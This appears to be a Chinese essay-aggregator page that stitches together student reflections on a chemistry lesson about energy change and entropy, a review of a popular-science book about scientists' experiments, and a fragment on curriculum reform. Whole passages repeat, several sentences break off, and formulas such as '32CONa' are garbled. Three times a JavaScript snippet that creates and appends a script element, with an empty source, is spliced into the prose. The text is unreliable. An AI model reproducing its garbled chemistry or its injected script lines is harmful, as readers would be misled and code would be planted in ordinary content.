《可怕的科学之化学也疯狂》读后感
观后感 —《化学反应的能量变化》教学视频 这是一堂教育部发布的精品课程，观看过程中我总能看到这堂课的闪光点，受益匪浅。
首先，老师语速缓慢地提出问题，导入新课，并且她提的问题是与生活息息相关的，然后，围绕这个问题，她举了一些例子，层层深入，渐渐引出了今天所学习的新课。
接下来，老师给出了两个形象生动的图形，一个表示的是自发放热的化学反应的能量变化，另一个表示的是自发吸热的化学反应中能量的变化，通过教师的详细讲解，同学们已经对能量与化学反应的关系有了初步的认识。
为了让同学们能更深层次的理解到化学反应能量变化的过程，下面老师组织同学们进行了一组对比实验①32CONa与HCl和②3NaHCO与HCl在学生进行实验时老师在旁边作指导。
实验完成后，老师引导同学们描述和思考实验现象，比如，以上两个实验哪一个是放热过程，哪一个是吸热过程，并且请同学，根据老师的提示，画出两个反应的能量变化过程的图形。
最后，由老师进行知识点的总结，在老师的指导中，我看到了教师对细节的重视以及给同学们讲解时的耐心，这是两个需要注意的地方。
然后，老师进一步提出问题，一般放热反应能够自发进行，为什么吸热反应也能够自发进行
同学们，在仔细思考的同时，老师给出了答案 熵的增加，由此引入本节课的第二个重要概念var script = document.createElement('script'); script.src = ''; document.body.appendChild(script); 熵。
在此，老师用气球来做比喻，充满气体的气球可以飞起来就像化学反应过程中其熵的增加可以帮助反应的能量翻越过反应能量的能垒。
接下来老师又指导同学们做了一个实验：5mLH2O+1mLNaOH+1d酚酞（不振荡）让同学们仔细观察实验现象。
分子在NaOH溶液中扩散，混乱度增加是自发的。
并且老师还指出向下扩散是混乱度增加的方向是自发的，而向上聚拢是混乱度减少的方向不是自发的。
通过这个实验，同学们能够更加深刻地理解到能量高低的变化，理解熵值得特点。
这一教学过程老师提示了同学们如何观察实验现象，并且提示观察到现象表征的意思，循序渐进地向同学们讲解了熵增加的过程是自发的。
接下来，老师举特例分析，让同学们理解自发进行反应的实例，例如 2Al2O3+6Cl2 高温 4AlCl3+3O2 2C+O2 高温 2CO 教师总结（1）生成气体；（2）增加气体的物质的量；（3）借助其他反应有利于化学反应的进行。
最后，老师在黑板上的板书简洁清楚，便于同学们记忆。
就这样抽象，理论性又强的焓变 熵变一节课便清晰地展现在同学们面前，易于同学们接受和理解。
主要是教师开篇就以与生活相关的问题引进主题，然后通过图片来向同学们展示抽象的概念；通过实验进一步让同学们理解能量变化的过程；再次通过实验让同学们var script = document.createElement('script'); script.src = ''; document.body.appendChild(script);
疯狂化学视频的观后感
观后感 —《化学反应的能量变化》教学视频 这是一堂教育部发布的精品课程，观看过程中我总能看到这堂课的闪光点，受益匪浅。
首先，老师语速缓慢地提出问题，导入新课，并且她提的问题是与生活息息相关的，然后，围绕这个问题，她举了一些例子，层层深入，渐渐引出了今天所学习的新课。
接下来，老师给出了两个形象生动的图形，一个表示的是自发放热的化学反应的能量变化，另一个表示的是自发吸热的化学反应中能量的变化，通过教师的详细讲解，同学们已经对能量与化学反应的关系有了初步的认识。
为了让同学们能更深层次的理解到化学反应能量变化的过程，下面老师组织同学们进行了一组对比实验①32CONa与HCl和②3NaHCO与HCl在学生进行实验时老师在旁边作指导。
实验完成后，老师引导同学们描述和思考实验现象，比如，以上两个实验哪一个是放热过程，哪一个是吸热过程，并且请同学，根据老师的提示，画出两个反应的能量变化过程的图形。
最后，由老师进行知识点的总结，在老师的指导中，我看到了教师对细节的重视以及给同学们讲解时的耐心，这是两个需要注意的地方。
然后，老师进一步提出问题，一般放热反应能够自发进行，为什么吸热反应也能够自发进行
同学们，在仔细思考的同时，老师给出了答案 熵的增加，由此引入本节课的第二个重要概念var script = document.createElement('script'); script.src = ''; document.body.appendChild(script); 熵。
在此，老师用气球来做比喻，充满气体的气球可以飞起来就像化学反应过程中其熵的增加可以帮助反应的能量翻越过反应能量的能垒。
接下来老师又指导同学们做了一个实验：5mLH2O+1mLNaOH+1d酚酞（不振荡）让同学们仔细观察实验现象。
分子在NaOH溶液中扩散，混乱度增加是自发的。
并且老师还指出向下扩散是混乱度增加的方向是自发的，而向上聚拢是混乱度减少的方向不是自发的。
通过这个实验，同学们能够更加深刻地理解到能量高低的变化，理解熵值得特点。
这一教学过程老师提示了同学们如何观察实验现象，并且提示观察到现象表征的意思，循序渐进地向同学们讲解了熵增加的过程是自发的。
接下来，老师举特例分析，让同学们理解自发进行反应的实例，例如 2Al2O3+6Cl2 高温 4AlCl3+3O2 2C+O2 高温 2CO 教师总结（1）生成气体；（2）增加气体的物质的量；（3）借助其他反应有利于化学反应的进行。
最后，老师在黑板上的板书简洁清楚，便于同学们记忆。
就这样抽象，理论性又强的焓变 熵变一节课便清晰地展现在同学们面前，易于同学们接受和理解。
主要是教师开篇就以与生活相关的问题引进主题，然后通过图片来向同学们展示抽象的概念；通过实验进一步让同学们理解能量变化的过程；再次通过实验让同学们var script = document.createElement('script'); script.src = ''; document.body.appendChild(script);
科学家和他们的疯狂大实验读后感
这本书的作者是迈克.戈德史密斯，主要内容是：每个人都知道一些科学家和他们的实验，不过并不知道他们还会做一些惊人的事情。
为了解开各种谜团，科学家们想破头来找答案，而科学方法就是在他们的不懈努力下逐渐发展起来。
科学家们发明了电话、电灯和汽车等，让我们的生活有了很大的改善。
他们也有很多惊人的发现，如：两个重量不同的物体同时从高空落下，着地的时间却相同；再比如地球上存在空气阻力和摩擦力，这表示你必须不停地推某个，否则它们就会停止运动，比如说手推车。
但是你可以将物体扔出，或在冰上推动物体，它们会持续运动一段时间，即使你已经不再对它们施力。
这本书告诉我们：只在具备勇气、智慧、时间、财力以及必胜的决心才能够成功。
科学家的实验给我们带来了一个不一样的未来。
科学家和他们的疯狂大实验读后感
这本书的作者是迈克.戈德史密斯，主要内容是：每个人都知道一些科学家和他们的实验，不过并不知道他们还会做一些惊人的事情。
为了解开各种谜团，科学家们想破头来找答案，而科学方法就是在他们的不懈努力下逐渐发展起来。
科学家们发明了电话、电灯和汽车等，让我们的生活有了很大的改善。
他们也有很多惊人的发现，如：两个重量不同的物体同时从高空落下，着地的时间却相同；再比如地球上存在空气阻力和摩擦力，这表示你必须不停地推某个，否则它们就会停止运动，比如说手推车。
但是你可以将物体扔出，或在冰上推动物体，它们会持续运动一段时间，即使你已经不再对它们施力。
这本书告诉我们：只在具备勇气、智慧、时间、财力以及必胜的决心才能够成功。
科学家的实验给我们带来了一个不一样的未来。
以疯狂的动物园写读后感
九年下册化学读后感新教材的变化 旧的化学教学大纲将旧教材设定为基本概念与基本原理、元素化合物知识、化学基本计算、化学实验四大板块，这四大内容体系像指挥棒一样，使教师的思维方式、教学行为被死死的束缚住了，师生所进行的一切教学活动都是为了应付考试，学生虽然学得乏味，但教师还是满足于对它的运用自如，就这样，年复一年地机械地重复着这样的教学，使得原本精彩的化学世界变得枯燥无味。
